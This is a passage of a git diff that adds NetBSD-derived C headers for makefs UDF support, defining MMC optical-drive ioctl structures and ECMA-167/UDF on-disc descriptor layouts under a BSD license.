"\13ZEROLINKBLK\14HW_DEFECTFREE" + +#define MMC_STATE_EMPTY 0 +#define MMC_STATE_INCOMPLETE 1 +#define MMC_STATE_FULL 2 +#define MMC_STATE_CLOSED 3 + +#define MMC_BGFSTATE_UNFORM 0 +#define MMC_BGFSTATE_STOPPED 1 +#define MMC_BGFSTATE_RUNNING 2 +#define MMC_BGFSTATE_COMPLETED 3 + + +struct mmc_trackinfo { + uint16_t tracknr; /* IN/OUT */ + uint16_t sessionnr; + + uint8_t track_mode; + uint8_t data_mode; + + uint16_t flags; + + uint32_t track_start; + uint32_t next_writable; + uint32_t free_blocks; + uint32_t packet_size; + uint32_t track_size; + uint32_t last_recorded; +}; +#define MMCGETTRACKINFO _IOWR('c', 29, struct mmc_trackinfo) + +#define MMC_TRACKINFO_COPY (1 << 0) +#define MMC_TRACKINFO_DAMAGED (1 << 1) +#define MMC_TRACKINFO_FIXED_PACKET (1 << 2) +#define MMC_TRACKINFO_INCREMENTAL (1 << 3) +#define MMC_TRACKINFO_BLANK (1 << 4) +#define MMC_TRACKINFO_RESERVED (1 << 5) +#define MMC_TRACKINFO_NWA_VALID (1 << 6) +#define MMC_TRACKINFO_LRA_VALID (1 << 7) +#define MMC_TRACKINFO_DATA (1 << 8) +#define MMC_TRACKINFO_AUDIO (1 << 9) +#define MMC_TRACKINFO_AUDIO_4CHAN (1 << 10) +#define MMC_TRACKINFO_PRE_EMPH (1 << 11) + +#define MMC_TRACKINFO_FLAGBITS \ + "\10\1COPY\2DAMAGED\3FIXEDPACKET\4INCREMENTAL\5BLANK" \ + "\6RESERVED\7NWA_VALID\10LRA_VALID\11DATA\12AUDIO" \ + "\13AUDIO_4CHAN\14PRE_EMPH" + +struct mmc_op { + uint16_t operation; /* IN */ + uint16_t mmc_profile; /* IN */ + + /* parameters to operation */ + uint16_t tracknr; /* IN */ + uint16_t sessionnr; /* IN */ + uint32_t extent; /* IN */ + + uint32_t reserved[4]; +}; +#define MMCOP _IOWR('c', 30, struct mmc_op) + +#define MMC_OP_SYNCHRONISECACHE 1 +#define MMC_OP_CLOSETRACK 2 +#define MMC_OP_CLOSESESSION 3 +#define MMC_OP_FINALISEDISC 4 +#define MMC_OP_RESERVETRACK 5 +#define MMC_OP_RESERVETRACK_NWA 6 +#define MMC_OP_UNRESERVETRACK 7 +#define MMC_OP_REPAIRTRACK 8 +#define MMC_OP_UNCLOSELASTSESSION 9 +#define MMC_OP_MAX 9 + +struct mmc_writeparams { + uint16_t tracknr; /* IN */ + uint16_t mmc_class; /* IN */ + uint32_t mmc_cur; /* IN */ + uint32_t blockingnr; /* IN */ + + /* when tracknr == 0 */ + uint8_t track_mode; /* IN; normally 5 */ + uint8_t data_mode; /* IN; normally 2 */ +}; +#define MMC_TRACKMODE_DEFAULT 5 /* data, incremental recording */ +#define MMC_DATAMODE_DEFAULT 2 /* CDROM XA disc */ +#define MMCSETUPWRITEPARAMS _IOW('c', 31, struct mmc_writeparams) + +#endif /* _KERNEL || _EXPOSE_MMC */ + +#endif /* !_SYS_CDIO_H_ */ diff --git a/thirdparty/makefs/udf/cdio_mmc_structs.h b/thirdparty/makefs/udf/cdio_mmc_structs.h new file mode 100644 index 0000000..8e5992d --- /dev/null +++ b/thirdparty/makefs/udf/cdio_mmc_structs.h @@ -0,0 +1,163 @@ +/* $NetBSD: cdio_mmc_structs.h,v 1.1 2013/08/05 18:44:16 reinoud Exp $ */ + +/* + * Copyright (c) 2006, 2008, 2013 Reinoud Zandijk + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +#ifndef _CDIO_MMC_EMU_H_ +#define _CDIO_MMC_EMU_H_ + +#include + +/* + * MMC device abstraction interface. + * + * It gathers information from GET_CONFIGURATION, READ_DISCINFO, + * READ_TRACKINFO, READ_TOC2, READ_CD_CAPACITY and GET_CONFIGURATION + * SCSI/ATAPI calls regardless if its a legacy CD-ROM/DVD-ROM device or a MMC + * standard recordable device. + */ +struct mmc_discinfo { + uint16_t mmc_profile; + uint16_t mmc_class; + + uint8_t disc_state; + uint8_t last_session_state; + uint8_t bg_format_state; + uint8_t link_block_penalty; /* in sectors */ + + uint64_t mmc_cur; /* current MMC_CAPs */ + uint64_t mmc_cap; /* possible MMC_CAPs */ + + uint32_t disc_flags; /* misc flags */ + + uint32_t disc_id; + uint64_t disc_barcode; + uint8_t application_code; /* 8 bit really */ + + uint8_t unused1[3]; /* padding */ + + uint32_t last_possible_lba; /* last leadout start adr. */ + uint32_t sector_size; + + uint16_t num_sessions; + uint16_t num_tracks; /* derived */ + + uint16_t first_track; + uint16_t first_track_last_session; + uint16_t last_track_last_session; + + uint16_t unused2; /* padding/misc info resv. */ + + uint16_t reserved1[4]; /* MMC-5 track resources */ + uint32_t reserved2[3]; /* MMC-5 POW resources */ + + uint32_t reserved3[8]; /* MMC-5+ */ +}; +#define MMCGETDISCINFO _IOR('c', 28, struct mmc_discinfo) + +#define MMC_CLASS_UNKN 0 +#define MMC_CLASS_DISC 1 +#define MMC_CLASS_CD 2 +#define MMC_CLASS_DVD 3 +#define MMC_CLASS_MO 4 +#define MMC_CLASS_BD 5 +#define MMC_CLASS_FILE 0xffff /* emulation mode */ + +#define MMC_DFLAGS_BARCODEVALID (1 << 0) /* barcode is present and valid */ +#define MMC_DFLAGS_DISCIDVALID (1 << 1) /* discid is present and valid */ +#define MMC_DFLAGS_APPCODEVALID (1 << 2) /* application code valid */ +#define MMC_DFLAGS_UNRESTRICTED (1 << 3) /* restricted, then set app. code */ + +#define MMC_DFLAGS_FLAGBITS \ + "\10\1BARCODEVALID\2DISCIDVALID\3APPCODEVALID\4UNRESTRICTED" + +#define MMC_CAP_SEQUENTIAL (1 << 0) /* sequential writable only */ +#define MMC_CAP_RECORDABLE (1 << 1) /* record-able; i.e. not static */ +#define MMC_CAP_ERASABLE (1 << 2) /* drive can erase sectors */ +#define MMC_CAP_BLANKABLE (1 << 3) /* media can be blanked */ +#define MMC_CAP_FORMATTABLE (1 << 4) /* media can be formatted */ +#define MMC_CAP_REWRITABLE (1 << 5) /* media can be rewritten */ +#define MMC_CAP_MRW (1 << 6) /* Mount Rainier formatted */ +#define MMC_CAP_PACKET (1 << 7) /* using packet recording */ +#define MMC_CAP_STRICTOVERWRITE (1 << 8) /* only writes a packet at a time */ +#define MMC_CAP_PSEUDOOVERWRITE (1 << 9) /* overwrite through replacement */ +#define MMC_CAP_ZEROLINKBLK (1 << 10) /* zero link block length capable */ +#define MMC_CAP_HW_DEFECTFREE (1 << 11) /* hardware defect management */ + +#define MMC_CAP_FLAGBITS \ + "\10\1SEQUENTIAL\2RECORDABLE\3ERASABLE\4BLANKABLE\5FORMATTABLE" \ + "\6REWRITABLE\7MRW\10PACKET\11STRICTOVERWRITE\12PSEUDOOVERWRITE" \ + "\13ZEROLINKBLK\14HW_DEFECTFREE" + +#define MMC_STATE_EMPTY 0 +#define MMC_STATE_INCOMPLETE 1 +#define MMC_STATE_FULL 2 +#define MMC_STATE_CLOSED 3 + +#define MMC_BGFSTATE_UNFORM 0 +#define MMC_BGFSTATE_STOPPED 1 +#define MMC_BGFSTATE_RUNNING 2 +#define MMC_BGFSTATE_COMPLETED 3 + + +struct mmc_trackinfo { + uint16_t tracknr; /* IN/OUT */ + uint16_t sessionnr; + + uint8_t track_mode; + uint8_t data_mode; + + uint16_t flags; + + uint32_t track_start; + uint32_t next_writable; + uint32_t free_blocks; + uint32_t packet_size; + uint32_t track_size; + uint32_t last_recorded; +}; +#define MMCGETTRACKINFO _IOWR('c', 29, struct mmc_trackinfo) + +#define MMC_TRACKINFO_COPY (1 << 0) +#define MMC_TRACKINFO_DAMAGED (1 << 1) +#define MMC_TRACKINFO_FIXED_PACKET (1 << 2) +#define MMC_TRACKINFO_INCREMENTAL (1 << 3) +#define MMC_TRACKINFO_BLANK (1 << 4) +#define MMC_TRACKINFO_RESERVED (1 << 5) +#define MMC_TRACKINFO_NWA_VALID (1 << 6) +#define MMC_TRACKINFO_LRA_VALID (1 << 7) +#define MMC_TRACKINFO_DATA (1 << 8) +#define MMC_TRACKINFO_AUDIO (1 << 9) +#define MMC_TRACKINFO_AUDIO_4CHAN (1 << 10) +#define MMC_TRACKINFO_PRE_EMPH (1 << 11) + +#define MMC_TRACKINFO_FLAGBITS \ + "\10\1COPY\2DAMAGED\3FIXEDPACKET\4INCREMENTAL\5BLANK" \ + "\6RESERVED\7NWA_VALID\10LRA_VALID\11DATA\12AUDIO" \ + "\13AUDIO_4CHAN\14PRE_EMPH" + +#endif /* _CDIO_MMC_EMU_H_ */ + diff --git a/thirdparty/makefs/udf/ecma167-udf.h b/thirdparty/makefs/udf/ecma167-udf.h new file mode 100644 index 0000000..17dc7de --- /dev/null +++ b/thirdparty/makefs/udf/ecma167-udf.h @@ -0,0 +1,840 @@ +/* $NetBSD: ecma167-udf.h,v 1.17 2022/03/18 16:06:18 reinoud Exp $ */ + +/*- + * Copyright (c) 2003, 2004, 2005, 2006, 2008, 2009, 2017, 2018 + * Reinoud Zandijk + * Copyright (c) 2001, 2002 Scott Long + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * + * Extended and adapted for UDFv2.50+ bij Reinoud Zandijk based on the + * original by Scott Long. + * + * 20030508 Made some small typo and explanatory comments + * 20030510 Added UDF 2.01 structures + * 20030519 Added/correct comments on multi-partitioned logical volume space + * 20050616 Added pseudo overwrite + * 20050624 Added the missing extended attribute types and `magic values'. + * 20051106 Reworked some implementation use parts + * + */ + + +#ifndef _FS_UDF_ECMA167_UDF_H_ +#define _FS_UDF_ECMA167_UDF_H_ + + +/* + * in case of an older gcc versions, define the __packed as explicit + * attribute + */ + +/* + * You may specify the `aligned' and `transparent_union' attributes either in + * a `typedef' declaration or just past the closing curly brace of a complete + * enum, struct or union type _definition_ and the `packed' attribute only + * past the closing brace of a definition. You may also specify attributes + * between the enum, struct or union tag and the name of the type rather than + * after the closing brace. +*/ + +#ifndef __packed +#define __packed __attribute__((packed)) +#endif + + +/* ecma167-udf.h */ + +/* Volume recognition sequence ECMA 167 rev. 3 16.1 */ +struct vrs_desc { + uint8_t struct_type; + uint8_t identifier[5]; + uint8_t version; + uint8_t data[2041]; +} __packed; + + +#define VRS_NSR02 "NSR02" +#define VRS_NSR03 "NSR03" +#define VRS_BEA01 "BEA01" +#define VRS_TEA01 "TEA01" +#define VRS_CD001 "CD001" +#define VRS_CDW02 "CDW02" + + +/* Structure/definitions/constants a la ECMA 167 rev. 3 */ + + +#define MAX_TAGID_VOLUMES 9 +/* Tag identifiers */ +enum { + TAGID_SPARING_TABLE = 0, + TAGID_PRI_VOL = 1, + TAGID_ANCHOR = 2, + TAGID_VOL = 3, + TAGID_IMP_VOL = 4, + TAGID_PARTITION = 5, + TAGID_LOGVOL = 6, + TAGID_UNALLOC_SPACE = 7, + TAGID_TERM = 8, + TAGID_LOGVOL_INTEGRITY= 9, + TAGID_FSD = 256, + TAGID_FID = 257, + TAGID_ALLOCEXTENT = 258, + TAGID_INDIRECTENTRY = 259, + TAGID_ICB_TERM = 260, + TAGID_FENTRY = 261, + TAGID_EXTATTR_HDR = 262, + TAGID_UNALL_SP_ENTRY = 263, + TAGID_SPACE_BITMAP = 264, + TAGID_PART_INTEGRITY = 265, + TAGID_EXTFENTRY = 266, + TAGID_MAX = 266 +}; + + +enum { + UDF_DOMAIN_FLAG_HARD_WRITE_PROTECT = 1, + UDF_DOMAIN_FLAG_SOFT_WRITE_PROTECT = 2 +}; + + +enum { + UDF_ACCESSTYPE_NOT_SPECIFIED = 0, /* unknown */ + UDF_ACCESSTYPE_PSEUDO_OVERWITE = 0, /* pseudo overwritable, e.g. BD-R's LOW */ + UDF_ACCESSTYPE_READ_ONLY = 1, /* really only readable */ + UDF_ACCESSTYPE_WRITE_ONCE = 2, /* write once and you're done */ + UDF_ACCESSTYPE_REWRITEABLE = 3, /* may need extra work to rewrite */ + UDF_ACCESSTYPE_OVERWRITABLE = 4 /* no limits on rewriting; e.g. harddisc*/ +}; + + +/* Descriptor tag [3/7.2] */ +struct desc_tag { + uint16_t id; + uint16_t descriptor_ver; + uint8_t cksum; + uint8_t reserved; + uint16_t serial_num; + uint16_t desc_crc; + uint16_t desc_crc_len; + uint32_t tag_loc; +} __packed; +#define UDF_DESC_TAG_LENGTH 16 + + +/* Recorded Address [4/7.1] */ +struct lb_addr { /* within partition space */ + uint32_t lb_num; + uint16_t part_num; +} __packed; + + +/* Extent Descriptor [3/7.1] */ +struct extent_ad { + uint32_t len; + uint32_t loc; +} __packed; + + +/* Short Allocation Descriptor [4/14.14.1] */ +struct short_ad { + uint32_t len; + uint32_t lb_num; +} __packed; + + +/* Long Allocation Descriptor [4/14.14.2] */ +struct UDF_ADImp_use { + uint16_t flags; + uint32_t unique_id; +} __packed; +#define UDF_ADIMP_FLAGS_EXTENT_ERASED 1 + + +struct long_ad { + uint32_t len; + struct lb_addr loc; /* within a logical volume mapped partition space !! */ + union { + uint8_t bytes[6]; + struct UDF_ADImp_use im_used; + } impl; +} __packed; +#define longad_uniqueid impl.im_used.unique_id + + +/* Extended Allocation Descriptor [4/14.14.3] ; identifies an extent of allocation descriptors ; also in UDF ? */ +struct ext_ad { + uint32_t ex_len; + uint32_t rec_len; + uint32_t inf_len; + struct lb_addr ex_loc; + uint8_t reserved[2]; +} __packed; + + +/* ICB : Information Control Block; positioning */ +union icb { + struct short_ad s_ad; + struct long_ad l_ad; + struct ext_ad e_ad; +}; + + +/* short/long/ext extent have flags encoded in length */ +#define UDF_EXT_ALLOCATED (0U<<30) +#define UDF_EXT_FREED (1U<<30) +#define UDF_EXT_ALLOCATED_BUT_NOT_USED (1U<<30) +#define UDF_EXT_FREE (2U<<30) +#define UDF_EXT_REDIRECT (3U<<30) +#define UDF_EXT_FLAGS(len) ((len) & (3U<<30)) +#define UDF_EXT_LEN(len) ((len) & ((1U<<30)-1)) +#define UDF_EXT_MAXLEN ((1U<<30)-1) + + +/* Character set spec [1/7.2.1] */ +struct charspec { + uint8_t type; + uint8_t inf[63]; +} __packed; + + +struct pathcomp { + uint8_t type; + uint8_t l_ci; + uint16_t comp_filever; + uint8_t ident[256]; +} __packed; +#define UDF_PATH_COMP_SIZE 4 +#define UDF_PATH_COMP_RESERVED 0 +#define UDF_PATH_COMP_ROOT 1 +#define UDF_PATH_COMP_MOUNTROOT 2 +#define UDF_PATH_COMP_PARENTDIR 3 +#define UDF_PATH_COMP_CURDIR 4 +#define UDF_PATH_COMP_NAME 5 + + +/* Timestamp [1/7.3] */ +struct timestamp { + uint16_t type_tz; + uint16_t year; + uint8_t month; + uint8_t day; + uint8_t hour; + uint8_t minute; + uint8_t second; + uint8_t centisec; + uint8_t hund_usec; + uint8_t usec; +} __packed; +#define UDF_TIMESTAMP_SIZE 12 + + +/* Entity Identifier [1/7.4] */ +#define UDF_REGID_ID_SIZE 23 +struct regid { + uint8_t flags; + uint8_t id[UDF_REGID_ID_SIZE]; + uint8_t id_suffix[8]; +} __packed; + + +/* ICB Tag [4/14.6] */ +struct icb_tag { + uint32_t prev_num_dirs; + uint16_t strat_type; + union { + uint8_t strat_param[2]; + uint16_t strat_param16; + }; + uint16_t max_num_entries; + uint8_t reserved; + uint8_t file_type; + struct lb_addr parent_icb; + uint16_t flags; +} __packed; +#define UDF_ICB_TAG_FLAGS_ALLOC_MASK 0x03 +#define UDF_ICB_SHORT_ALLOC 0x00 +#define UDF_ICB_LONG_ALLOC 0x01 +#define UDF_ICB_EXT_ALLOC 0x02 +#define UDF_ICB_INTERN_ALLOC 0x03 + +#define UDF_ICB_TAG_FLAGS_DIRORDERED (1<< 3) +#define UDF_ICB_TAG_FLAGS_NONRELOC (1<< 4) +#define UDF_ICB_TAG_FLAGS_CONTIGUES (1<< 9) +#define UDF_ICB_TAG_FLAGS_MULTIPLEVERS (1<<12) + +#define UDF_ICB_TAG_FLAGS_SETUID (1<< 6) +#define UDF_ICB_TAG_FLAGS_SETGID (1<< 7) +#define UDF_ICB_TAG_FLAGS_STICKY (1<< 8) + +#define UDF_ICB_FILETYPE_UNKNOWN 0 +#define UDF_ICB_FILETYPE_UNALLOCSPACE 1 +#define UDF_ICB_FILETYPE_PARTINTEGRITY 2 +#define UDF_ICB_FILETYPE_INDIRECTENTRY 3 +#define UDF_ICB_FILETYPE_DIRECTORY 4 +#define UDF_ICB_FILETYPE_RANDOMACCESS 5 +#define UDF_ICB_FILETYPE_BLOCKDEVICE 6 +#define UDF_ICB_FILETYPE_CHARDEVICE 7 +#define UDF_ICB_FILETYPE_EXTATTRREC 8 +#define UDF_ICB_FILETYPE_FIFO 9 +#define UDF_ICB_FILETYPE_SOCKET 10 +#define UDF_ICB_FILETYPE_TERM 11 +#define UDF_ICB_FILETYPE_SYMLINK 12 +#define UDF_ICB_FILETYPE_STREAMDIR 13 +#define UDF_ICB_FILETYPE_VAT 248 +#define UDF_ICB_FILETYPE_REALTIME 249 +#define UDF_ICB_FILETYPE_META_MAIN 250 +#define UDF_ICB_FILETYPE_META_MIRROR 251 +#define UDF_ICB_FILETYPE_META_BITMAP 252 + + +/* Anchor Volume Descriptor Pointer [3/10.2] */ +struct anchor_vdp { + struct desc_tag tag; + struct extent_ad main_vds_ex; /* to main volume descriptor set ; 16 sectors min */ + struct extent_ad reserve_vds_ex; /* copy of main volume descriptor set ; 16 sectors min */ +} __packed; + + +/* Volume Descriptor Pointer [3/10.3] */ +struct vol_desc_ptr { + struct desc_tag tag; /* use for extending the volume descriptor space */ + uint32_t vds_number; + struct extent_ad next_vds_ex; /* points to the next block for volume descriptor space */ +} __packed; + + +/* Primary Volume Descriptor [3/10.1] */ +struct pri_vol_desc { + struct desc_tag tag; + uint32_t seq_num; /* MAX prevail */ + uint32_t pvd_num; /* assigned by author; 0 is special as in it may only occur once */ + char vol_id[32]; /* KEY ; main identifier of this disc */ + uint16_t vds_num; /* volume descriptor number; i.e. what volume number is it */ + uint16_t max_vol_seq; /* maximum volume descriptor number known */ + uint16_t ichg_lvl; + uint16_t max_ichg_lvl; + uint32_t charset_list; + uint32_t max_charset_list; + char volset_id[128]; /* KEY ; if part of a multi-disc set or a band of volumes */ + struct charspec desc_charset; /* KEY according to ECMA 167 */ + struct charspec explanatory_charset; + struct extent_ad vol_abstract; + struct extent_ad vol_copyright; + struct regid app_id; + struct timestamp time; + struct regid imp_id; + uint8_t imp_use[64]; + uint32_t prev_vds_loc; /* location of predecessor _lov ? */ + uint16_t flags; /* bit 0 : if set indicates volume set name is meaningful */ + uint8_t reserved[22]; +} __packed; + + +/* UDF specific implementation use part of the implementation use volume descriptor */ +struct udf_lv_info { + struct charspec lvi_charset; + char logvol_id[128]; + + char lvinfo1[36]; + char lvinfo2[36]; + char lvinfo3[36]; + + struct regid impl_id; + uint8_t impl_use[128]; +} __packed; + + +/* Implementation use Volume Descriptor */ +struct impvol_desc { + struct desc_tag tag; + uint32_t seq_num; + struct regid impl_id; + union { + struct udf_lv_info lv_info; + char impl_use[460]; + } _impl_use; +} __packed; + + +/* Logical Volume Descriptor [3/10.6] */ +struct logvol_desc { + struct desc_tag tag; + uint32_t seq_num; /* MAX prevail */ + struct charspec desc_charset; /* KEY */ + char logvol_id[128]; /* KEY */ + uint32_t lb_size; + struct regid domain_id; + union { + struct long_ad fsd_loc; /* to fileset descriptor SEQUENCE */ + uint8_t logvol_content_use[16]; + } _lvd_use; + uint32_t mt_l; /* Partition map length */ + uint32_t n_pm; /* Number of partition maps */ + struct regid imp_id; + uint8_t imp_use[128]; + struct extent_ad integrity_seq_loc; + uint8_t maps[1]; +} __packed; +#define lv_fsd_loc _lvd_use.fsd_loc + +#define UDF_INTEGRITY_OPEN 0 +#define UDF_INTEGRITY_CLOSED 1 + + +#define UDF_PMAP_SIZE 64 + +/* Type 1 Partition Map [3/10.7.2] */ +struct part_map_1 { + uint8_t type; + uint8_t len; + uint16_t vol_seq_num; + uint16_t part_num; +} __packed; + + +/* Type 2 Partition Map [3/10.7.3] */ +struct part_map_2 { + uint8_t type; + uint8_t len; + uint8_t reserved[2]; + struct regid part_id; + uint16_t vol_seq_num; + uint16_t part_num; + uint8_t reserved2[24]; +} __packed; + + +/* Virtual Partition Map [UDF 2.01/2.2.8] */ +struct part_map_virt { + uint8_t type; + uint8_t len; + uint8_t reserved[2]; + struct regid id; + uint16_t vol_seq_num; + uint16_t part_num; + uint8_t reserved1[24]; +} __packed; + + +/* Sparable Partition Map [UDF 2.01/2.2.9] */ +struct part_map_spare { + uint8_t type; + uint8_t len; + uint8_t reserved[2]; + struct regid id; + uint16_t vol_seq_num; + uint16_t part_num; + uint16_t packet_len; + uint8_t n_st; /* Number of redundant sparing tables range 1-4 */ + uint8_t reserved1; + uint32_t st_size; /* size of EACH sparing table */ + uint32_t st_loc[1]; /* locations of sparing tables */ +} __packed; + + +/* Metadata Partition Map [UDF 2.50/2.2.10] */ +struct part_map_meta { + uint8_t type; + uint8_t len; + uint8_t reserved[2]; + struct regid id; + uint16_t vol_seq_num; + uint16_t part_num; + uint32_t meta_file_lbn; /* logical block number for file entry within part_num */ + uint32_t meta_mirror_file_lbn; + uint32_t meta_bitmap_file_lbn; + uint32_t alloc_unit_size; /* allocation unit size in blocks */ + uint16_t alignment_unit_size; /* alignment necessary in blocks */ + uint8_t flags; + uint8_t reserved1[5]; +} __packed; +#define METADATA_DUPLICATED 1 + + +union udf_pmap { + uint8_t data[UDF_PMAP_SIZE]; + struct part_map_1 pm1; + struct part_map_2 pm2; + struct part_map_virt pmv; + struct part_map_spare pms; + struct part_map_meta pmm; +}; + + +/* Sparing Map Entry [UDF 2.01/2.2.11] */ +struct spare_map_entry { + uint32_t org; /* partition relative address */ + uint32_t map; /* absolute disc address (!) can be in partition, but doesn't have to be */ +} __packed; + + +/* Sparing Table [UDF 2.01/2.2.11] */ +struct udf_sparing_table { + struct desc_tag tag; + struct regid id; + uint16_t rt_l; /* Relocation Table len */ + uint8_t reserved[2]; + uint32_t seq_num; + struct spare_map_entry entries[1]; +} __packed; + + +#define UDF_NO_PREV_VAT 0xffffffff +/* UDF 1.50 VAT suffix [UDF 2.2.10 (UDF 1.50 spec)] */ +struct udf_oldvat_tail { + struct regid id; /* "*UDF Virtual Alloc Tbl" */ + uint32_t prev_vat; +} __packed; + + +/* VAT table [UDF 2.0.1/2.2.10] */ +struct udf_vat { + uint16_t header_len; + uint16_t impl_use_len; + char logvol_id[128]; /* newer version of the LVD one */ + uint32_t prev_vat; + uint32_t num_files; + uint32_t num_directories; + uint16_t min_udf_readver; + uint16_t min_udf_writever; + uint16_t max_udf_writever; + uint16_t reserved; + uint8_t data[1]; /* impl.use followed by VAT entries (uint32_t) */ +} __packed; + + +/* Space bitmap descriptor as found in the partition header descriptor */ +struct space_bitmap_desc { + struct desc_tag tag; /* TagId 264 */ + uint32_t num_bits; /* number of bits */ + uint32_t num_bytes; /* bytes that contain it */ + uint8_t data[1]; +} __packed; + + +/* Unalloc space entry as found in the partition header descriptor */ +struct space_entry_desc { + struct desc_tag tag; /* TagId 263 */ + struct icb_tag icbtag; /* type 1 */ + uint32_t l_ad; /* in bytes */ + uint8_t entry[1]; +} __packed; + + +/* Partition header descriptor; in the contents_use of part_desc */ +struct part_hdr_desc { + struct short_ad unalloc_space_table; + struct short_ad unalloc_space_bitmap; + struct short_ad part_integrity_table; /* has to be ZERO for UDF */ + struct short_ad freed_space_table; + struct short_ad freed_space_bitmap; + uint8_t reserved[88]; +} __packed; + + +/* Partition Descriptor [3/10.5] */ +struct part_desc { + struct desc_tag tag; + uint32_t seq_num; /* MAX prevailing */ + uint16_t flags; /* bit 0 : if set the space is allocated */ + uint16_t part_num; /* KEY */ + struct regid contents; + union { + struct part_hdr_desc part_hdr; + uint8_t contents_use[128]; + } _impl_use; + uint32_t access_type; /* R/W, WORM etc. */ + uint32_t start_loc; /* start of partition with given length */ + uint32_t part_len; + struct regid imp_id; + uint8_t imp_use[128]; + uint8_t reserved[156]; +} __packed; +#define pd_part_hdr _impl_use.part_hdr +#define UDF_PART_FLAG_ALLOCATED 1 + + +/* Unallocated Space Descriptor (UDF 2.01/2.2.5) */ +struct unalloc_sp_desc { + struct desc_tag tag; + uint32_t seq_num; /* MAX prevailing */ + uint32_t alloc_desc_num; + struct extent_ad alloc_desc[1]; +} __packed; + + +/* Logical Volume Integrity Descriptor [3/30.10] */ +struct logvolhdr { + uint64_t next_unique_id; + /* rest reserved */ +} __packed; + + +struct udf_logvol_info { + struct regid impl_id; + uint32_t num_files; + uint32_t num_directories; + uint16_t min_udf_readver; + uint16_t min_udf_writever; + uint16_t max_udf_writever; +} __packed; + + +struct logvol_int_desc { + struct desc_tag tag; + struct timestamp time; + uint32_t integrity_type; + struct extent_ad next_extent; + union { + struct logvolhdr logvolhdr; + int8_t reserved[32]; + } _impl_use; + uint32_t num_part; + uint32_t l_iu; + uint32_t tables[1]; /* Freespace table, Sizetable, Implementation use */ +} __packed; +#define lvint_next_unique_id _impl_use.logvolhdr.next_unique_id + + +/* File Set Descriptor [4/14.1] */ +struct fileset_desc { + struct desc_tag tag; + struct timestamp time; + uint16_t ichg_lvl; + uint16_t max_ichg_lvl; + uint32_t charset_list; + uint32_t max_charset_list; + uint32_t fileset_num; /* key! */ + uint32_t fileset_desc_num; + struct charspec logvol_id_charset; + char logvol_id[128]; /* for recovery */ + struct charspec fileset_charset; + char fileset_id[32]; /* Mountpoint !! */ + char copyright_file_id[32]; + char abstract_file_id[32]; + struct long_ad rootdir_icb; /* to rootdir; icb->virtual ? */ + struct regid domain_id; + struct long_ad next_ex; /* to the next fileset_desc extent */ + struct long_ad streamdir_icb; /* streamdir; needed? */ + uint8_t reserved[32]; +} __packed; + + +/* File Identifier Descriptor [4/14.4] */ +struct fileid_desc { + struct desc_tag tag; + uint16_t file_version_num; + uint8_t file_char; + uint8_t l_fi; /* Length of file identifier area */ + struct long_ad icb; + uint16_t l_iu; /* Length of implementation use area */ + uint8_t data[1]; +} __packed; +#define UDF_FID_SIZE 38 +#define UDF_FILE_CHAR_VIS (1 << 0) /* Invisible */ +#define UDF_FILE_CHAR_DIR (1 << 1) /* Directory */ +#define UDF_FILE_CHAR_DEL (1 << 2) /* Deleted */ +#define UDF_FILE_CHAR_PAR (1 << 3) /* Parent Directory */ +#define UDF_FILE_CHAR_META (1 << 4) /* Stream metadata */ + + +/* Extended attributes [4/14.10.1] */ +struct extattrhdr_desc { + struct desc_tag tag; + uint32_t impl_attr_loc; /* offsets within this descriptor */ + uint32_t appl_attr_loc; /* ditto */ +} __packed; +#define UDF_IMPL_ATTR_LOC_NOT_PRESENT 0xffffffff +#define UDF_APPL_ATTR_LOC_NOT_PRESENT 0xffffffff + + +/* Extended attribute entry [4/48.10.2] */ +struct extattr_entry { + uint32_t type; + uint8_t subtype; + uint8_t reserved[3]; + uint32_t a_l; +} __packed; + + +/* Extended attribute entry; type 2048 [4/48.10.8] */ +struct impl_extattr_entry { + struct extattr_entry hdr; + uint32_t iu_l; + struct regid imp_id; + union { + uint8_t data[1]; + uint16_t data16; + }; +} __packed; + + +/* Extended attribute entry; type 65 536 [4/48.10.9] */ +struct appl_extattr_entry { + struct 